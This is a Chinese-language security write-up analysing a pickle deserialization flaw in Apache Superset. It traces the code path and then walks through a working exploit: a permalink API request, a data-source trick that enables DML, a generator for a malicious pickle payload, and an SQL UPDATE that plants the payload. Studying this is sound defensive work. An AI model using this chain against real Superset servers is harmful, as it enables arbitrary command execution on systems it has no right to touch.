superset反序列化分析
字数 1630 2025-08-06 08:35:09

Apache Superset 反序列化漏洞分析与利用

0x01 Python反序列化基础知识

pickle模块安全风险

Python的pickle模块实现了Python对象结构的二进制序列化和反序列化,但官方文档明确警告:

  • pickle模块并不安全
  • 只应对信任的数据进行unpickle操作
  • 构建恶意pickle数据可在解封时执行任意代码
  • 绝对不要对不信任来源或被篡改的数据进行解封

__reduce__()魔术方法

该方法用于定义类对象应如何序列化,当对象被反序列化时会被调用(类似于PHP的__wakeup())。

__reduce__()方法:

  • 不带任何参数
  • 应返回字符串或元组(推荐)
  • 元组应包含2到6个元素,重点关注前两个:
    • 第一个元素:可调用对象(创建对象最初版本时调用)
    • 第二个元素:可调用对象的参数(元组形式)

示例代码

import pickle
import os

class Student(object):
    name = 'xxx'
    age = '20'
    def __reduce__(self):
        cmd = "calc.exe"
        return os.system, (cmd,)

y = pickle.dumps(Student())
print(y)
pickle.loads(y)  # 执行calc.exe

0x02 漏洞点发现

关键函数定位

全局搜索pickle.loads,发现GetKeyValueCommand类的run方法会调用get,最终反序列化entry.value内容。

数据库查询逻辑:

SELECT value FROM key_value WHERE resource=xxx AND key=xxx

调用链分析

  1. 查找实例化GetKeyValueCommand并调用run方法的位置
  2. 发现GetDashboardPermalinkCommand会调用它,参数:
    • self.resource:常量dashboard_permalink
    • key:来自GetDashboardPermalinkCommand的参数
  3. 触发路由:/dashboard/p/<key>/

数据写入点

查找写入数据库的位置,全局搜索/dashboard/p/,发现:

  • 访问<pk>/permalink路径
  • pk参数和POST传入的JSON合并
  • 通过CreateDashboardPermalinkCommand生成key
  • 拼接成固定链接

序列化过程

CreateDashboardPermalinkCommand.run()中:

  1. 合并dashboardIdstate
  2. 传入UpsertKeyValueCommand
  3. keyuser_idvalue生成的UUID
  4. resourcedashboard_permalink
  5. upsert方法中,valuepickle.dumps序列化后存入数据库

0x03 漏洞利用

攻击路径

  1. 获取固定链接(写入数据库)
  2. 修改数据库中的内容为payload
  3. 访问固定链接时触发反序列化

具体步骤

1. 生成固定链接

点击右上角··· → Share → Copy permalink to clipboard
发送请求:

POST /api/v1/dashboard/2/permalink HTTP/1.1
Host: 127.0.0.1:5000
Connection: close

{"urlParams":[],"dataMask":{},"activeTabs":[]}

获取链接:http://127.0.0.1:5000/superset/dashboard/p/x2WRlLjzXrB/

2. 修改数据库

由于SQL Lab默认只能执行SELECT,需要:

  1. 添加新数据源指向同一数据库
  2. 开启Allow DML(默认被阻止)

绕过方法:
使用完整SQLAlchemy URI:

sqlite+pysqlite:///D:/superset_2.1.0/superset.db

3. 生成payload

import pickle
import os
from binascii import hexlify

class RCE:
    def __reduce__(self):
        return os.system, ('calc.exe',)

if __name__ == '__main__':
    pickled = pickle.dumps(RCE())
    print(hexlify(pickled).decode())

4. 执行SQL更新

UPDATE key_value 
SET value = X'636e740a73797374656d0a70300a285663616c632e6578650a70310a7470320a5270330a2e' 
WHERE resource = 'dashboard_permalink';

5. 触发漏洞

访问之前生成的固定链接,将执行calc.exe

0x04 总结

完整攻击链:

  1. 使用sqlite+pysqlite://添加当前数据库并开启DML
  2. 生成固定链接(写入数据库)
  3. 通过SQL语句更新dashboard_permalink值为payload
  4. 访问固定链接触发pickle.loads()反序列化
  5. 导致任意命令执行

关键点:

  • 不安全的反序列化点:pickle.loads(entry.value)
  • 数据流:固定链接生成 → 数据库写入 → 数据库读取 → 反序列化
  • 绕过限制:使用完整SQLAlchemy URI添加数据源
  • 利用方式:通过SQL更新序列化数据为恶意payload
Apache Superset 反序列化漏洞分析与利用 0x01 Python反序列化基础知识 pickle模块安全风险 Python的pickle模块实现了Python对象结构的二进制序列化和反序列化,但官方文档明确警告: pickle模块并不安全 只应对信任的数据进行unpickle操作 构建恶意pickle数据可在解封时执行任意代码 绝对不要对不信任来源或被篡改的数据进行解封 __reduce__() 魔术方法 该方法用于定义类对象应如何序列化,当对象被反序列化时会被调用(类似于PHP的 __wakeup() )。 __reduce__() 方法: 不带任何参数 应返回字符串或元组(推荐) 元组应包含2到6个元素,重点关注前两个: 第一个元素:可调用对象(创建对象最初版本时调用) 第二个元素:可调用对象的参数(元组形式) 示例代码 : 0x02 漏洞点发现 关键函数定位 全局搜索 pickle.loads ,发现 GetKeyValueCommand 类的 run 方法会调用 get ,最终反序列化 entry.value 内容。 数据库查询逻辑: 调用链分析 查找实例化 GetKeyValueCommand 并调用 run 方法的位置 发现 GetDashboardPermalinkCommand 会调用它,参数: self.resource :常量 dashboard_permalink key :来自 GetDashboardPermalinkCommand 的参数 触发路由: /dashboard/p/<key>/ 数据写入点 查找写入数据库的位置,全局搜索 /dashboard/p/ ,发现: 访问 <pk>/permalink 路径 将 pk 参数和POST传入的JSON合并 通过 CreateDashboardPermalinkCommand 生成key 拼接成固定链接 序列化过程 在 CreateDashboardPermalinkCommand.run() 中: 合并 dashboardId 和 state 传入 UpsertKeyValueCommand key 由 user_id 和 value 生成的UUID resource 为 dashboard_permalink 在 upsert 方法中, value 被 pickle.dumps 序列化后存入数据库 0x03 漏洞利用 攻击路径 获取固定链接(写入数据库) 修改数据库中的内容为payload 访问固定链接时触发反序列化 具体步骤 1. 生成固定链接 点击右上角··· → Share → Copy permalink to clipboard 发送请求: 获取链接: http://127.0.0.1:5000/superset/dashboard/p/x2WRlLjzXrB/ 2. 修改数据库 由于SQL Lab默认只能执行SELECT,需要: 添加新数据源指向同一数据库 开启Allow DML(默认被阻止) 绕过方法: 使用完整SQLAlchemy URI: 3. 生成payload 4. 执行SQL更新 5. 触发漏洞 访问之前生成的固定链接,将执行 calc.exe 0x04 总结 完整攻击链: 使用 sqlite+pysqlite:// 添加当前数据库并开启DML 生成固定链接(写入数据库) 通过SQL语句更新 dashboard_permalink 值为payload 访问固定链接触发 pickle.loads() 反序列化 导致任意命令执行 关键点: 不安全的反序列化点: pickle.loads(entry.value) 数据流:固定链接生成 → 数据库写入 → 数据库读取 → 反序列化 绕过限制:使用完整SQLAlchemy URI添加数据源 利用方式:通过SQL更新序列化数据为恶意payload